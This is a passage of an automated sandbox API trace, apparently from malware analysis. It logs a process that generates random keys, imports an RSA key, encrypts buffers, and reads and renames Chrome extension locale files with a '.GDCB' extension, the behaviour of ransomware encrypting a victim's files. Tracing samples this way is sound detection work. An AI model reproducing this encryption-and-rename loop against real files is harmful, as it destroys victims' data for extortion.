phProv=0x285cd2c*=0x5c4e48) returned 1 [0267.856] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.859] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.859] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.859] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.859] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.861] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.863] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.863] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.863] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.863] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.866] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797020) returned 1 [0267.866] CryptGetKeyParam (in: hKey=0x6797020, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.866] CryptEncrypt (in: hKey=0x6797020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.866] GetLastError () returned 0x0 [0267.866] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.866] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0267.868] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796960) returned 1 [0267.868] CryptGetKeyParam (in: hKey=0x6796960, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.868] CryptEncrypt (in: hKey=0x6796960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.868] GetLastError () returned 0x0 [0267.868] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.868] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.869] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.872] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.874] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc6, lpOverlapped=0x0) returned 1 [0267.882] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.889] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json.gdcb")) returned 1 [0267.894] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0267.896] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.898] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.898] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.898] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.898] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.901] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.903] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.903] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.903] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.903] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0267.905] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796a20) returned 1 [0267.905] CryptGetKeyParam (in: hKey=0x6796a20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.905] CryptEncrypt (in: hKey=0x6796a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.905] GetLastError () returned 0x0 [0267.906] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.906] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0267.907] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797060) returned 1 [0267.907] CryptGetKeyParam (in: hKey=0x6797060, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.907] CryptEncrypt (in: hKey=0x6797060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.908] GetLastError () returned 0x0 [0267.908] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.908] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.909] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.911] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.913] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x183, lpOverlapped=0x0) returned 1 [0267.938] VirtualAlloc (lpAddress=0x0, dwSize=0x190, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.944] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json.gdcb")) returned 1 [0267.949] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.952] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.954] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.954] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.954] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.954] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0267.956] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.958] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.958] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.958] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.958] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0267.961] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796e20) returned 1 [0267.961] CryptGetKeyParam (in: hKey=0x6796e20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.961] CryptEncrypt (in: hKey=0x6796e20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.961] GetLastError () returned 0x0 [0267.961] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.961] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0267.963] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796da0) returned 1 [0267.963] CryptGetKeyParam (in: hKey=0x6796da0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.963] CryptEncrypt (in: hKey=0x6796da0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.963] GetLastError () returned 0x0 [0267.963] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.963] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.964] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.967] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.969] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x1c3, lpOverlapped=0x0) returned 1 [0267.977] VirtualAlloc (lpAddress=0x0, dwSize=0x1d0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.986] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json.gdcb")) returned 1 [0267.991] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0267.994] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.996] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.997] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.997] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.997] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0267.999] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.001] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.001] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.001] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0268.002] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.004] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67970a0) returned 1 [0268.004] CryptGetKeyParam (in: hKey=0x67970a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.004] CryptEncrypt (in: hKey=0x67970a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.004] GetLastError () returned 0x0 [0268.004] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.004] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.006] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796aa0) returned 1 [0268.006] CryptGetKeyParam (in: hKey=0x6796aa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.006] CryptEncrypt (in: hKey=0x6796aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.006] GetLastError () returned 0x0 [0268.006] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.006] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.007] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.010] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.012] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x12c, lpOverlapped=0x0) returned 1 [0268.020] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.026] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json.gdcb")) returned 1 [0268.032] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.034] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.036] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.036] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.036] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.037] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.039] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.041] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.041] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.041] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.041] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0268.044] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67968e0) returned 1 [0268.044] CryptGetKeyParam (in: hKey=0x67968e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.044] CryptEncrypt (in: hKey=0x67968e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.044] GetLastError () returned 0x0 [0268.044] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.044] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.046] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796920) returned 1 [0268.046] CryptGetKeyParam (in: hKey=0x6796920, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.046] CryptEncrypt (in: hKey=0x6796920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.046] GetLastError () returned 0x0 [0268.046] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.046] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.047] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.050] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.052] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xcb, lpOverlapped=0x0) returned 1 [0268.061] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.091] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json.gdcb")) 